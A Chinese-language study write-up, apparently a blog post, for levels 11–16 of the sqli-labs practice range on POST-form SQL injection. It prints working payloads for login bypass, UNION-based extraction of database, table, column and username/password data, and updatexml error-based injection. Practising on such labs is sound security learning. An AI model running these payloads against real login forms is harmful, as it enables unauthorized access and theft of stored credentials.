当前位置: 首页 > news >正文

sqli-labs靶场通关笔记:第11-16关 POST请求注入

第11关 POST请求联合注入

一、审题

这一关开始变成了登录框输入,也就是post请求的表单提交。前十关都是get请求方式,可以直接在url栏中注入,这里的注入点换成了登录框。

二、思考

 这里输入1'会显示报错,可以判断出是单引号闭合。

我们仔细观察报错信息,MySQL 指出错误发生在查询的 '1'' and password='' LIMIT 0,1 部分附近,那么来推测一下原始的查询语句,可能是:

SELECT * FROM users WHERE username = '$uname' and password = '$passwd' LIMIT 0,1

假设在username框中输入1' or 1=1 #来尝试把后面的密码验证注释掉,看看是否能登录成功。

这里使用#注释符是因为post请求会完整传输,无需编码处理。

可以看到这里绕过密码,登录成功,页面显示了用户名和密码。

接下来尝试用联合注入获取更多数据。

三、做法

1.获取数据库名;

-1' union select 1,database()#

2.获取表名;

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

3.获取字段名;

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

4.获取字段数据。

-1' union select 1,group_concat(username,'~',password) from users#

第12关 ")闭合的联合注入

第13关  ')闭合的报错注入

这里登录成功没有回显位,但是登录失败会有报错信息。可以使用之前学过的报错注入。

-1') and updatexml(1,concat(0x7e,(select database())),3)#

第14关 双引号闭合的报错注入

第15关 单引号闭合的布尔盲注

只有正确和错误两种页面回显,可以使用布尔盲注。

第16关 ")闭合的布尔盲注

这几关都是通过POST请求的方式注入,把前面的联合注入,报错注入,布尔盲注又复习了一遍。

http://www.dtcms.com/a/278903.html

相关文章:

  • 文献查找任务及其方法
  • 车载诊断框架 --- 车载诊断GuideLine
  • 【t检验】用奶茶店排队案例解释
  • urlencode、html实体编码、unicode
  • ChatDev 简易指导文档
  • Spring Boot Cucumber 测试报告嵌入方法
  • gitlab-ci.yml
  • ps如何批处理文件(批量裁剪,批量设置文件大小)
  • RNN(循环神经网络)
  • 青岛国瑞 RCV 带来的独特价值
  • MinIo快速入门
  • 13.计算 Python 字符串的字节大小
  • Kubernetes 高级调度 02
  • victoriametrics Operator 安装
  • 雅思练习总结(二十九)
  • 前端docx库实现将html页面导出word
  • AI革命,分布式存储也在革命,全闪化拐点已至
  • 【第一章编辑器开发基础第二节编辑器布局_2GUI中滚动列表(2/4)】
  • Web Socket 学习笔记
  • C# 入门学习教程(三)
  • Python基础语法1:注释与输入输出、变量与简单数据类型、运算符与表达式、条件判断与循环
  • 云原生技术与应用-Containerd容器技术详解
  • MySQL数据库的基础操作
  • AI驱动的软件工程(下):AI辅助的质检与交付
  • nvidia-smi命令参数解释
  • 机器学习(ML)、深度学习(DL)、强化学习(RL):人工智能的三驾马车
  • 外星人电脑Alienware Aurora R11原装出厂OEM预装Windows10系统
  • 自动驾驶数据仓库:时间片合并算法。
  • 【React Native】ScrollView 和 FlatList 组件
  • 基于ASP.NET+SQL Server实现(Web)排球赛事网站